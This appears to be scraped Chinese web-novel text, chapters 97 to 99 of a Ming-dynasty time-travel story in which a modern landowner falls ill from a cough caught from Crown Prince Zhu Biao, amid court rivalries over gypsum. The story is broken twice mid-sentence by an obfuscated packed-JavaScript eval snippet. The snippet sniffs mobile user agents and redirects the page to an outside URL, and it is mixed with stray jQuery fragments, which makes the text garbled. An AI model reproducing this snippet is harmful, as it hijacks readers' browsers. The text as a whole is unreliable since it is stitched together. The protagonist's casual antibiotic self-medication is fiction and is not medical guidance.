“那是必然的啊,咱们大明,很多地方都产粮,但是很多地方也缺粮,我这边,刚好就是帮了咱们大明一把,把这粮啊,从富余的地方,运到不足的地方去。” 蓝染说得很是隐晦。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378700|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但是蓝玉,肯定是听懂的了。 做官,哪有不贪的,那些贪的粮怎么处理,一直都是个问题。 而蓝染,就是可以处理这个问题的人之一。 “闹归闹,蓝染,这可不是什么小事,你帮帮他们也就算了,别牵扯太深,你须知道,咱们洪武爷,最讨厌这些文人搞这些腌臜事了。” “义父,我有分寸,也会处理得干净些的。” 蓝染也是知道蓝玉在担心什么。 但是,他很是信任自己。 他如同敏锐的猎手,游走在大明关系网中,怎会认为自己会随便翻车呢? “对了,义父,还有件事情需和您说道下,这货,似乎蓝梁那边也急着要,只是我听闻,他卖的价格确实上不了台面,而我们运去江南要重要些,也就自作主张,想要先满足了江南需要的量,所以就把他备的一些货给先用了。” “嗯?上不了台面的价?” 前后的话语蓝玉忽略了很多。 但是价这个词可是个关键字。 只见蓝玉马上就皱起了眉头。 蓝染一看这能夹死苍蝇的眉头,那也是轻笑了起来。 气氛到了,该收尾了。 “整整十车,卖了二百两。” 咬字相当清晰,语气也是错落有致。 直接又消耗了永昌侯家的茶壶杯子配套一份。 蓝玉那是满脸怒容地把杯子茶壶甩到了地上,咆 哮了起来。 “这蓝梁是想干嘛?当我永昌侯家开善堂的?他是不是勾结了外面的人,吃里扒外想谋我的家产?!” 这一声声咆哮。 那是吓得门外的仆人都一个哆嗦。 没人敢进去收拾地上的碎渣子。 最后还是蓝染,笑眯眯地蹲了下去,开始收拾。 “义父别生气,蓝梁怎么可能吃里扒外呢,他应该只是急于做成生意吧,毕竟他之前管田地的事比较多,生意上的事,确实不太擅长。” 这一番话,被朱安宁听到,怕不是要打人。 这蓝染,简直就是现代职场小贱人的典范…… 明面上听着像是帮蓝染说话,实际上……就是在揭短啊! 果不其然,蓝玉听完后,沉思了片刻。 虽然没有开口,但是看他表情就知道,蓝梁要不好过了。 蓝染见自己的目的,已经达成,那也是捡起了几个大块的碎片,就开了口。 “义父,我下边还有事情需要处理,就先行告退了。” “嗯,你去吧。” 听到蓝玉答复的蓝染,施施然地退到了门外,然后嫌恶地看了眼那些仆人。 “还不滚进去收拾?杵在这里很有意思是吧?” “是!” 几个仆人连忙应承到。 然后进去匍匐到了地上,开始收拾碎屑。 蓝染前脚刚走。 蓝梁就风风火火赶到了屋里。 他自然是不知道方才被蓝染打了小报告的。 只是他眼睛也不瞎。 刚进来他就看到了蓝玉正在怒视着自己。 心理也是不免咯噔了一下。 “蓝梁,咱可是听说了啊,你这生意做得可真地道啊!十车石膏你卖别人二百两,你怎么不直接送?!” 果不其然,义父是知晓了自己卖石膏的价格,猜都不用猜,肯定是蓝染故意说出来的…… 他连忙开口想解释这不过是买永乐庄朱爷宫里渠道的特价而已,未来能打通宫里的一些关系的话,理论上是不亏的啊! 只是,还未等他开口。 蓝玉又报销了一套茶具。 屋外的仆人们又是一阵哀嚎。 能不能不要天天摔东西……神经病啊! 只是,这些话,是只能在心里说的,要是用嘴巴说的话,那可能要进墓里了。 “以后生意的事情还是交给蓝染吧!你管好田里的事就好!!!” 蓝玉在咆哮。 蓝梁听见后,那是心直接就沉到了谷底。 自己好不容易争取到了做生意的权力! 突然又被剥夺了! 肯定是蓝染在作祟! 不行,遇到事情不能坐以待毙! “义父,我的石膏,是卖给那个和曹国公家有关系的永乐庄地主朱爷的!谈的过程中,他还提及了和宫里的工匠有关系,也说了长期要货的事,所以我才自作主张低价先卖第一批的啊!” 第九十七章 生病了就该吃药 蓝梁跪在下面,说的话那是又快又急。 连茶水渗到他身下都全然不知。 “永乐庄?怎么又是这个庄子?”蓝玉直接就皱起了眉头。 说实话,要不是听说和曹国公有关系,他早就把这破庄子给推平了。 什么十收一,甚至还给刁民们派大米这种事情,他想干嘛? 要造反啊? 这是坏规矩! “我不管他要这些石膏干嘛,十车,才二百两!是不是低得过分了点啊!你有没有和我商量,眼里还有我这个义父么?” 虽然有了合理的解释,但是蓝玉,就不是能好好讲道理的人。 他的脾气一下就上来了。 “四百两,四百两我就卖给他,少一分都不给。” “但是义父……我们已经签契约了啊。” “什么鸟契约?我没见过!” “……” —————————————— “朱哥,怎么办。” 是车前的朱棣在问话。 几人正围着车上的石膏在清点。 蓝梁还是实诚的,这两车没有因为发生特殊情况就少了货,勉强算是个好消息吧。 至于朱棣的问题。 还在生着闷气的朱安宁,回话肯定就没那么客气了。 “怎么办,难办难道就不办了?把石膏搬到院子里吧,矗在这里它们自己会走进去啊~~~” 被怼了一顿的朱棣,也是不敢反驳。 “好好……五弟,三江,季畾季廌,过来帮忙啊!” 对朱安宁他是乖巧听话,但是对剩下的人吼几句,他还是有胆子的。 朱元璋也是看着这几人在这忙前忙后,心里不知道在想些什么。 隔了许久,他才开口对朱安宁问道。 “安宁小弟,你这两车石膏,看起来就不够用啊,你有何打算?” 能怎么打算,将就用着先呗。 实际两车,熬过这插秧肯定是没问题的。 但是他陷入的是,肥料朝不保夕的那种焦虑。 “先用着吧,哎,石膏这东西,虽然不贵,但是还挺难凑的啊。” 朱安宁感叹了一句。 朱标在旁边听着是撇了撇嘴,要是自己开口,不是轻松凑出来。 只是自己父皇不让开口而已。 “呵呵,毕竟正常渠道用量不大嘛,怎么会有人知道石膏能做肥料呢。” “哎,伍爷你就别说风凉话了,先进来坐吧。” 朱安宁又重新把朱元璋和朱标迎了进去。 剩下的朱棣等人,自然是在搬运着石膏。 “咳咳……”回身的朱标,也是忍不住又咳了两声。 只是此时的朱安宁,哪还有心思管朱标是不是染了风寒。 “三江,50斤尿混5斤石膏,再加25斤水,放到专门堆肥料的房间里沤几天!听得懂么?” “先生,要这么多尿啊!” “不然要你到处收集干嘛。” “好,我这就去混。” “嗯,小燕,你们几人也帮帮忙,用不完的石膏堆角落先。” 交代完事情的朱安宁,终于是坐了下来,拿起那杯早就凉了的茶,一口喝完。 “哎,整个肥料都这么艰难,咱们大明还是商品不够流通啊。” 这番话,多少就有点大逆不道了。 不过朱元璋也就当他是气话而已。 笑着回道:“历朝历代都是以农为本,哪有说言商的。” “那历朝历代,有哪个还在?以农为本,那我这边种了几百几千石出来,你还不许我卖给别人了?”朱安宁也是没好气地回了一句。 心情不爽,说话那都是格外刺耳。 “咱只是说,商又不事生产,怎么能和农混为一谈。” 朱元璋有些不悦的回道。 连一旁的朱标,都点了点头。 重农,那是遥远时代而来的惯性。 这在生产力不发达的小农经济时代,是非常正常的。 不需要多少商品交换,广大的农民,依托在地主之下,就能过完一辈子。 当然,安不安稳就要看天和地主的良心了。 朱安宁又给自己倒了一杯茶水,吹了吹,又喝了下去。 “我前些日子不是说了那些贸易司的阴损玩法么,这就是基于商品流通啊,重农可以,但是不要抑商嘛。” “胡闹,自古以来,都没有这样的说法,你这是大逆不道。” “怎么就大逆不道了,算了,和你个老伍头说不通。” 朱安宁也没什么好心情。 自然不想和朱元璋解释什么叫商品,什么叫贸易,大洋彼岸那群人,未来又会玩出什么花来。 朱元璋也是满脸不悦,他索性领了朱标,开始去看那些新作物。 朱标也终于能够看到番薯和马铃薯和玉米辣椒。 那是看得他啧啧称奇。 朱元璋是没什么解说的心情的,更多还是朱标在那看。 院落虽然有墙,但是时不时依旧还是有过堂风,吹得朱标又忍不住咳了两声。 朱安宁看着远处在田里视察 的两人,也是懒得管,转头走向了正在忙的李景隆等人。 他想干点活,省得坐在那里烦。 而等他把那些石膏尿液处理好,回到房车旁的时候,却发现,朱元璋和朱标已经离去。 “靠,走也不打声招呼,不就是抱怨了两句么,这伍老头真小气。” 朱安宁摊手,想回到了房车里。 石膏和水,都没什么问题。 但是刚才可还是有尿液的,他不可避免地也沾染了些许。 “小燕,你们今晚随便整点东西吃吧……我今儿有些累了。” “啊?好吧……”这对刚干完活的朱棣等来来说绝对是噩耗。 但是朱安宁发话了,他们也没办法,只能接受。 回到房车内的朱安宁,快速洗了个澡。 随手煮开了水,泡了杯合味道。 然后坐到了椅子上,开始打开电脑翻越资料…… “土肥料不止这一种……得看看还有没其他。” “红糖……还一家就几十斤……他是不是不知道这东西在明朝有多贵……” “这个,磷酸钙……靠,我去哪去找这种东西。” 他不断看,又不断否决。 最后只能瘫在了座位上,长长地叹了口气。 “还是得靠农政全书的那些土法子,现代的土肥料,真就是只有石膏适合……” 一边吸着泡面的朱安宁,一边感叹古代的生产力之低下。 他突然很怀念现代工业的生产力…… 当然,也是只能怀念而已。 很快吃完泡面的朱安宁,也从瘫在座位上,变成了瘫在床上。 什么出师未捷啊。 刚想搞点稳定的收入来源,没想到一下就断了。 真是烦。 在这种情绪中,朱安宁昏昏沉沉地睡了过去。 直到第二天。 清晨的小院并不寂静。 因为朱棣他们已经穿好了衣服,在那洗漱。 新一天的农活又要开始了。 反正这么些日子。 大家都习惯了。 “四哥,今天的早饭怎么办……先生不做的话,是不是又要我们自己做了……”李景隆猥猥琐琐地凑到了朱棣的身旁,说道。 “怎么,我昨晚做的不好吃?”朱棣那是眉头一挑,回到。 “但也不是,就是有点咸……” “那下次你们自己做!”朱棣那是多少有些不悦,但是又不好发作……毕竟昨晚的鸡蛋面,虽然不是灾难级的,但是也属于是大失败的范畴。 “那今早的呢?要不四哥你去问问先生?” 李景隆又提了个建议。 那是立马就得到了所有人的附和,包括他的胞弟朱橚…… “问就问,你们一副那么怕的样子干嘛。” “昨日先生不是心情不好嘛……我们也不太敢去打扰他……” “一群怂货。”朱棣那是翻起了白眼。 他嘴上说得是狠,但是听完李景隆的解释后,他心里还是有些忐忑的。 毕竟昨天朱安宁心情不好是事实。 现在自己过去叫他,会不会触了朱哥霉头,被骂一顿啊…… 但是话已经说了出口,朱棣也不可能说退缩。 那是只能硬着头皮走到了朱安宁的房车边上。 规规矩矩地敲了敲门。 “朱哥……朱哥……” 他轻轻地唤了两声,结果并没有得到回应。 不应该啊……这个时辰,朱哥应该就早就出来了啊…… 于是他只能加大音量,又喊了句:“朱哥!” 他甚至上手敲了敲房车门。 而此时的朱安宁,究竟是什么情况呢? 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门外的朱棣也是有些无奈,虽然是有点担心朱安宁,但是他不开门,自己也上不去啊。 只好在门外喊了句:“朱哥,有事就叫我们嗷!” “嗯……你们先去干活吧。” “好嘞……” 和朱棣对话,朱安宁仿佛已经花光了所有力气。 他脚一软,又坐回了椅子上,摸了许久才找到放在柜子里的探热针。 期间,他终于忍不住是一连串的咳嗽,咳得差点把刚才喝的水个咳吐出来。 我靠,这种剧烈的咳嗽,可是太熟悉了,朱安宁在心里苦笑了起来,怎么回到了古代还能有这病啊…… 还是社畜的时候,朱安宁就遭过这罪。 原本以为是普通感冒而已,奥司他韦吃了几天,后面觉得不对头,阿莫西林又吃了几天,结果屁用没有,就是咳得死去活来,和现在这种感觉有点像。 最后还是去医院查了一轮……说是支原体感染,再来晚就肺炎了,医生丢了几片阿奇霉素,吃了三天,那是药到病除…… 所以说,是昨天那咳咳咳的伍文传染给自己的? 头晕眼花的朱安宁开始摸索药箱。 其实他也有点疑惑自己是否真的就是支原体感染。 毕竟正常成年人感染这种病的概率好像也不高,自己不会就这么倒霉吧。 但是当他翻出阿奇霉素的说明书看完之后,还是毫不犹豫地吃了下去。 原来这东西,对很多普通细菌也有作用…… 那就权当是通解吃一次吧。 他顶着一连串的咳嗽,勉力放到了嘴边,最后是用水灌了下去。 好悬没有又咳吐出来。 大概是错不了了,这种剧烈的干咳。 朱安宁还在苦笑。 却也突然有点担心,那个伍文,如果是他传染过来的,他现在是什么情况啊。 如朱安宁所想,现在的朱标也不好过。 刚起床的他,那难受程度要比朱安宁还多了几个量级。 毕竟他最近是真的过于劳累,且咳嗽已经持续一两天了。 他花了些功夫,才从床上起来。 刚想叫人送些茶水上来润一润喉咙。 结果还未开口,就被一串咳嗽给弄懵了,那咳起来,是不带停的。 直到快要咳吐,他甚至还干呕了两声。 那是一阵头晕目眩,坐在床沿都差点顶不住倒下那种。 “父亲,您没事吧。”而门外,却也传来了一阵稚嫩的童声。 “是雄英么?咳咳咳咳咳!”朱标又咳了几声,睁开眼睛看到的是自己的儿子,朱元璋的好皇孙,朱雄英。 只见这朱雄英,正担忧地看着朱标,看见自己老爹咳的厉害,他还不忘倒了杯水过来给朱标喝。 “咳咳!雄英,你是过来请早的么,我这是惹了点风寒,你赶紧出去,别待在这里,让你们也惹了病就不好了。” “但是父亲,你好像很难受啊……” “为父没事的,你帮……咳咳咳,你帮我唤下御医过来,然后让你两个弟弟也别过来请早了,省得染病。” 咳到脑子都有点不好使的朱标,尽自己最大的努力,帮朱雄英,安排了一下接下来要做的事情。 第九十八章 扑街在地,最好择个无人的地…… 比起朱标,朱安宁可就好受多了。 他本着生病就吃药的原则,从来不会说什么质疑说副作用啦,这个那个的,只要严格按照剂量,出事的概率并不大…… 当然,也是因为这些药他都吃过,才如此大胆。 不然在这古代,给他新的药片,他大概率是不敢吃的,副作用倒是小事,就怕严重过敏,因为这种破事而死掉,可太丢穿越者的脸了吧! 躺在床上的朱安宁,很快就等来了药物起作用。 为了舒服点,他甚至还吃了粒布洛芬缓释胶囊。 这玩意能退烧还能阵痛,缓解不适的神药。 重新焕发了点活力的朱安宁,也终于来了点胃口。 泡面肯定是不敢吃的,白粥成了不二的选择。 只是……柴火炉在车外。 于是我的朱大庄主,迫于无奈还是下了车。 幸好那几个小伙子已经去到外面或者院子角落的田里忙活,这样看也没什么传染的风险。 他麻利地生了火,然后淘了点米,便开始了煮粥。 本来院内现在的田地是由朱安宁来侍弄的,但是今天朱棣说了他不舒服,便由刘廌留了下来照看。 结果刘廌是没想到,朱安宁居然出了房门,还开始做饭了。 于是便远远地唤了声先生。 朱安宁也是看到了刘廌,连忙用尽力气喊道:“你忙你的,别过来我这里,我染了风寒,别传给你们了。” 等下你们也中招了指不定还会浪费我的药! 后半句朱安宁自然是没有说出口。 刘廌听了,也是知道朱安宁是为了他好,便也是应承了一声。 只是朱安宁的嗓音现在是实在好笑,让刘廌,不免,笑了两声,然后他便也是继续侍弄那愈发翠绿的田地。 而今天来看,院里的活好像不是很多。 很快刘廌就搞定了这里的事情。 他和朱安宁打了个招呼,就往外面走去。 挖渠虽然辛苦,但是挖了那么多天,今天好像差不多是要挖成的日子。 刘廌可不想错过。 其实他本来还想叫上朱安宁的,只是看朱安宁缩在那凳子上,一副要睡着的样子,还是不忍打扰先生啊。 于是,院子里很快就真的只剩下了朱安宁一人。 他困,倒不是因为什么病情严重……而是药物作用。 他已经明显感觉到了背后一阵热,那估摸是又出汗了。 然后便是困意袭来。 要不是需要看着自己的粥不糊,他早就回房车躺下了。 看着翻腾的白米粥。 他忽然觉得胃口又好了点。 当然,这种情况下整什么辣椒老干妈拌粥他肯定是不敢的。 但是加点味道,还是很有想法的啊。 他很快把目光投向了远处的院内农田里…… 番薯叶…… 好东西啊,还是嫩的! 加蒜蓉炒才是王道…… 但是现在自己这破状态,还是不要这么折腾了。 搞点丢粥里算了。 想到就行动,他猛地起了身,然后一阵头晕眼花。 那是病虚加坐久了大脑供血不足,站起来的他,脚软就算了,还什么都看不清。 那是踩了块石头,脚下一滑,就摔到了地面上。 姿势非常不优美,样子非常不体面,总体来说,就是很样衰。 幸好这里没人。 他趴在地上,一时动弹不得,因为真的很痛。 然后,身后,传来了推门声。 —————————————————————— “标儿,你没事吧。”一名衣着和宫殿明显不太相衬的妇人,正坐在桌前,心疼地看着眼前的人。 “母后,咳咳……现在还成,刚才喝了御医煎的药,发了汗,现在好受多了,就是这……咳咳……比前些日子那是厉害多了。” “御医怎么说啊。” “风寒,喝了药,现在汗也发出来了,应当是无碍了,母后无需担心。” “哎,那重八也是,自己没日没夜地呆在那文华殿就算了,最近把你也带坏了!” 这妇人,正是马皇后。 要说娶妻娶贤,那朱元璋就是娶了个可以稳排进中国历史前三的好女人。 明朝的文武百官,诸多的皇子皇女,甚至朱元璋自己都有这种感觉。 只要马皇后还在!一切都会好起来的! 当然,这样带来的恶果就是,若是马皇后不在了,那就可以在欢声笑语中打出GG了。 洪武朝后期,各种大案和杀戮,要是马皇后还在的话,应该不至于如此夸张。 此时的马皇后,正心疼地看着自己大儿子。 然后也是有些恼火。 “我转头得好好说说重八!没日没夜地干活,能干得完么?!对了,老四老五呢,听重八说去外地了,怎么那么久,一点音信都没告诉我!标儿你是不是知道些什么!” 马皇后琢磨了一下,只觉得这朱重八真是越来越不老实了。 肯定是瞒着自己干了点什么。 “母后……四 弟五弟,其实现在是有公事,您要想他们了,我帮您唤回来便是……” “有正事?有正事就算了吧。”马皇后一听是公事,那立马也是不再抱怨。 “好啦,你没什么事就行,今早雄英跑过来找咱,说父亲躺那都动不了了,让我快些过来看,吓坏我了。”马皇后见朱标确实没什么大事的样子,也是起了身,准备离开。 朱标听见马皇后的说辞,也是哭笑不得。 只是自己孩子也是一片好心,自己也无法责怪些什么。 况且早上的时候,他确实是夜间咳得过分,以致早上是昏沉难受。 而现在来到白日,不知道是太阳出来的缘故,还是御医给的药起效的缘故,他是觉得咳嗽缓解了许多。 便也在送走自己的母亲马皇后后,开始安排这一天的事务。 结果他刚抬手,想唤那内侍太监过来时,门外就已经进来了另外一个太监。 “太子殿下,陛下口谕,说您今日不适,一切事务交由他来处理就行。” 这个消息,可是把朱标给整懵逼了。 也对…… 现在都结束上朝了吧,甚至会不会,父皇已经和阁臣们开始在那讨论事情了呢。 虽然朱标也是很勤政的人。 但是生病带来的虚弱感也是实打实的。 他听见那太监的话后,那是挥了挥手。 等太监出去后,他是终于忍不住,笑了起来。 这……算是给自己休息下吧…… 其实自己的病,也就早上时看着凶,现在好像也没有什么更难受的感觉。 那久违的没有任何工作的一天,该怎么度过呢。 他忽然想到了自己母亲方才的话语。 也是突然觉得老四老五有点不像话…… 明明就只是在应天府郊外而已,回个宫也不难吧…… 要不,今天闲着也是闲着,去那永乐庄一趟,给自己母亲传个话,顺便和那朱安宁好好聊聊,昨日那时父亲在场,自己有很多话,都不好说出,趁今日,恰好也是个好时机! 说干就干。 朱标也是个行动派。 或者说,朱元璋也好到朱标朱棣这一代,再往下朱允炆这一代,好像都是行动派…… 说杀人就杀人,说削藩就削藩,说造反就造反。 那是突出一个想到就做…… 当然,他也不会傻到顶着太阳,拖着病躯,去走上几里路。 他,很醒目地坐了轿,来到郑村坝附近,才开始步行。 这里,离永乐庄已经很近了。 只是还未进庄,他就看到了不少农夫正站在道上驻足看些什么。 他便也好奇地走了过去。 “大爷,你们在看什么?” “吓?后生,你说话前带点气息好不?差点吓死老丈我了……” 被搭话的大爷,那是拍了拍胸脯,而后才继续说道:“这永乐庄的渠好似要挖通了,真好啊。” “啊?大爷你不是永乐庄的?” “嘿,我哪来这样的好运气,我是隔壁庄的,地主老爷收我五成租子,我就已经很满意啦,什么收一成带头挖渠什么之类的事情,哪敢想啊……” 那大爷是摇了摇头,一直在叹气。 本来,他们庄的幸福感是很高的。 毕竟在应天府郊外这边抽五成的地,算是比较少的了。 然后,永乐庄出现了。 十抽一的逆天抽成,也愈传愈广,起码附近的几个村庄,都是知晓的了。 那有了对比,就有了杀害 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这渠的挖通,对某些人来说是大事情, 但是对他这个明朝太子来说,不如去和朱安宁见面,聊上几句有意义。 于是,他很快走过了驿站。 驿站的人,还是有基本识别能力的……这是太子,不用拦…… 朱标就这样径直走到了朱安宁的大院门口。 本来他还礼貌地叩了下门。 但是里面突然传来了一阵闷响,然后是喊疼的声音,可是把他也惊了一下。 于是朱标也顾不得太多,那是伸手就推开了们。 还是昨天那个熟悉的院落。 院子里正飘着好闻的米香。 勾得没吃早饭的朱标食指大动。 而很快,朱标就顾不上这米的味道香不香了。 因为他看到了狗啃屎一样趴在地面的朱安宁。 此时的朱大庄主,还在哼哼唧唧…… 嘴里似乎念叨着幸好没人看到什么之类的。 朱标当然是没听清,听清了也会当没听清…… 他赶紧上去扶了一把,可惜他也是生病的状态,力气比平时要小了不少,废了好些时间,才把朱安宁从样衰的趴地式,还原成了坐在椅子上的姿势…… “呃……咳咳,伍哥你怎么来了……哎,我那……我那刚刚是一时没站稳。” 朱安宁尴尬地想解释下。 朱标却已经很醒目地开始转移话题:“哇,安宁小弟,你今早这米粥,挺香的啊。” 这快速的反应,也是让朱安宁猝不及防,这伍文是受过什么特训么…… 不过这样也好,朱安宁也哈哈两声,算是揭过了扑街的事情。 “米粥有什么香不香的,我都还没下料呢。” “哦?听我父亲说,安宁小弟的厨艺可是相当不错的,只是不知,我今日有没口服啊?” “嗯?伍哥你也没吃早饭?” “今早起来有些不适,没什么胃口……所以没吃。” “那吃我煮的吧,我这煮了两顿的,刚好够我们两人吃,就是得等我去摘点番薯叶。” 说完,朱安宁又想起身,不出意外的,又是有点摇晃。 这可是吧朱标又吓了一跳。 他一副伸手要去扶的样子。 “无碍无碍……”朱安宁连忙摆了摆手,解释了下:“咳咳……我应该是染了风寒,刚服了药,现在有点昏沉而已。” “哦?你也风寒?咳咳……”朱标不合时宜地咳了两声。 然后……两人都尴尬了起来。 因为,只需要简单的推理,便可以知晓,大概率,这病啊,就是朱标传给朱安宁的。 两人很快都想到了这事。 当然,也是很默契地,没有提…… “安宁小弟,你摘什么?我陪你一起吧。” 本来就是想过来找朱安宁聊事情的朱标,赶紧把这尴尬的情绪抛到脑后。 心里懊悔的是,怎么没带御医过来呢。 这朱安宁在这种郊外生活,叫大夫应该很不方便吧。 所以才会说一大早就摔在那里。 哎,真是可怜,晚些时候,让他见识见识宫里御医精湛的医术吧! 第九十九章 你切莫把我告诉太子爷啊! 朱安宁没有拒绝朱标。 而朱标更多的,自然是想要朱安宁好好介绍下这些新作物的情况,以及之前说的那一堆治国方针…… 毕竟昨天,他老爹那是在那里生闷气,作物根本就没过多地介绍。 而那些治国方针,他也怕朱元璋的转述,有疏漏。 其实这也怪不了老朱会生气。 虽然朱元璋在古代中是排的上号的皇帝之一。 但是,那格局……也就那样。 说他有点小气,也不为过。 标准一老农,还是贼抠门那种…… 昨日,朱安宁一副商人也很重要的样子,怎么能让他开心呢? 而朱标可不一样,他可比朱元璋想要进步得多。 重农,这个是绝不可能改变的。 但是商,是否可以放松一点点呢? 至少,他是不算太过排斥朱安宁的说法的。 特别是他听完朱元璋转述那贸易司的阴损法子后,便一下听懂了,这能用贸易去奴役别人,那前提是自己境内的贸易需要发展起来,商品需要更自由地流通,才行,而这又契合了更早之前的宝钞说法。 而宝钞,现在又需要眼前这批粮食,和肥料去锚定! 简直一环扣一环。 能整理出这些法子的人,真的就会安心做一个地主,窝在这郊外天天和粪,农夫们混在一起? 他…… 会不会有其他想法? 朱标不由得看了眼朱安宁。 要是放他早出生二三十年,或许会是父亲争夺天下的对手之一吧…… 不对,这人思路之清奇,说不定…… 一想到某些可能性,朱标就头皮发麻。 若是这人能为自己所用! 大明,无可限量! 但是,如果他不愿为自己所用…… 他现在是个乐呵呵的地主,但是十年后呢,二十年后呢,会不会,他会有些其他想法? 朱标心中陡然生出了些别的情绪。 要知道,他虽然比较仁慈,那只是对比朱元璋而言。 朱安宁哪知道就一个照面,这朱标就多了那么多心思。 他现在在那药物的作用下,晕乎乎的,就是想赶紧摘了番薯叶回去煮粥,赶紧扒拉两口吃食,缓一缓再说…… 朱标看着朱安宁蹲了下去,凑到了那低矮的绿色作物面前,开始采摘。 “这叶片,真的能吃?”是朱标在提问。 “只要没毒,都能吃……土都能吃,这东西怎么不能吃了?而且说实话,它味道还挺好的。当然,真正能做主粮的番薯,埋在地下,而这番薯叶,是需要定期去除些的,不然就会抢……”朱安宁正想说养料或者营养,但是想到前些日子给那几个小子讲的时候,他们一脸懵逼的样子,便连忙换成了古代用语:“抢荣养……” “荣养?把这词用在作物上,倒也是新奇……”朱标算是听懂了。 但是还是把朱安宁说得有些不自在。 真烦……一定要想办法把一些现代用词或者简化用词,在自己生活的圈子里推广下,不然老是要想替换词,说话也太累了! “所以要掐掉些老叶么?” “本来是要掐老叶的,但是这东西嫩叶才好吃,还是掐嫩叶吧。” 朱标听罢,也是跟着朱安宁,开始取番薯叶。 两人都在田间蹲了下来。 这也让两人的距离更近了些。 “也就是说,这东西不但能当主粮,还能当菜吃?”朱标开口询问道。 “是啊,而且味道还相当不错,只是今日我两都不太舒服,改日我给你清炒一碟番薯苗,那才叫香……今儿就放粥里烫下就算了。” “依你的法子弄就行,今儿我倒是来的冒昧了,都抢你的食了。”朱标呵呵一笑。 却也把朱安宁也惹得笑了起来。 “哈哈,抢食那么难听,大可不必,就是一顿菜粥而已。” 两人一边说着,一边摘够了足量的叶片,很快又回到了树下的桌前。 清洗菜叶只需要过过水就行,毕竟这古代,没有农药。 朱安宁转手就把菜叶全部塞到了锅里,咕咚了几下,叶片就软了下去。 “嗯,比平常的菜味要浓郁许多啊。” 但是,依旧是菜而已。 朱安宁也没有介绍太多,随手就盛了碗递给了朱标。 两人就这般吃了起来。 “还挺嫩的,味道不错。”给普通百姓吃真的很可以啊,朱标眼睛一亮,那是立马就想到了,这番薯的好处,既能当主食,又能当菜吃,什么神仙作物! “炒着才好吃,这样就一般般吧。” 朱安宁也没管朱标想什么,他唏哩呼噜吃了一大碗,总算是找回来点智商和力气。 毕竟昨晚他就是只吃了一小杯泡面而已。 智商重新占领高地的他,也总算是想到了。 这伍文,大白天的又跑来干嘛,是找自己有事? 结果还问等他发问,朱标就表达了来意。 他的话语多少有点绕……甚至违心到朱标都要挣扎一下才能说出来。 “安宁小弟 ,你知道我是托你的福才进到东宫的,所以有很多东西我听父亲转述得不是很清楚,才说来问问你。” 这一番话,饶是朱安宁还生着病,也是被吓得够呛。 托我的福没问题,那农政全书怎么地换个岗位是没问题的,但是……不会老伍头把什么话都让他儿子给报上去了吧!!! 朱安宁那是满脸惊恐地看着朱标。 心里想的是,完犊子了,会不会第二天朱元璋就会派人过来抓自己进宫去问话…… “安宁小弟,何故如此表情……” 朱标也是看到了朱安宁的表情变化,那自然是有些懵。 他又不像朱元璋了解得那么清楚,朱安宁是真的怕去当官的那种…… “伍哥,你不会把我跟你爹说的东西都一股脑讲给太子爷听了吧。” “啊?嗯……”朱标否定也不是,肯定也不是,毕竟自己这个太子爷,那是全都知道的。 这副样子,让朱安宁是蹦了起来。 他就差气到跺脚。 只是现在生着病,喉咙也有点哑,喊大声指不定又会痛。 最后,只能无能狂怒…… “安宁小弟,你放心,我没有透露你的情况……”看了半天朱安宁在那发癫的朱标也是反应了过来……大概,他是怕暴露自己?这人真的就像父皇说的那样,这么不想当官?! “当真?” “当真……” “你给我保证!” “我保证……” 原本暴跳如雷的朱安宁,在听完朱标的话后,总算是冷静了些。 一身冷汗的朱安宁,心想的是,不用见重八哥就行,这比卖勾子还恐怖啊…… 又重新恢复冷静的朱安宁,一把薅住了朱标的手,情真意切地说道:“伍大哥,好哥哥,我那些话说八道的法子啊,你报上去我没意见,但是功劳什么的,你自己领了就行,不必在意我的。” “……” 朱标看着这副怂样的朱安宁,那是多少有些哭笑不得,嘴巴张了几次,然后,却也是什么都说不出来。 过了良久,朱标才憋出一句话:“功劳我拿,那赏赐我分你点吧。” “诶这感情好,赏赐什么的多多益善。” “你想要什么嘛……” “要什么?那不得看上面给咱们什么么?你当你真是太子啊,许个愿就能拿赏赐……” “我……我好歹可以提提意见嘛……” “嘿,你要是能提的话,能不能帮我要片石膏矿嘛,虽然这要求有点高……”朱安宁是半开玩笑地说道。 说实话,对于一个现代人,他是贪财的,但是这有个前提,那就是财可以用来消费。 现在这明朝,捏骂的他都有一千多两了,揣着钱进到城里,那也没什么值得消费的啊,晚上他倒是想去逛一逛秦淮河,想了很久了!只是一直没机会,城里的馆子也想吃一吃…… 也就这样了,这银两也买不到什么东西哇! 4090,m9……银两能买么?它不能啊。 所以这就陷入了一个比较尴尬的局面。 对现钱,他追求不高。 但是对持续有钱,他又很符合模拟经营游戏玩家的嘴脸……那是真的想要。 经营庄子,那要的不是现钱,是源源不断的钱! 所以他才半开玩笑地说了石膏矿的事情。 “……”结果朱标沉吟了片刻。 他倒也觉得不是不行。 这幅态度,真就把朱安宁给整不会了。 他从看乐子的表情,逐渐变幻成你不是来真的吧……到最后大哥我错了你当我没说的惊恐。 “等等!”朱安宁大叫了一声:“那矿是永昌侯的,我就是开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378703|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个玩笑……你别当真啊……你要是真开了口,那蓝玉不打死你,来找我麻烦也难搞……” “呃……永昌侯,虽然有点霸道……” “把有点去掉。” “感觉你很不喜欢永昌侯啊……” “伍哥诶,你听听你说的什么,我有资格不喜欢人家么……”朱安宁是被朱标的话整的哭笑不得。 他现在的身份是平民啊,虽然没见过蓝玉。 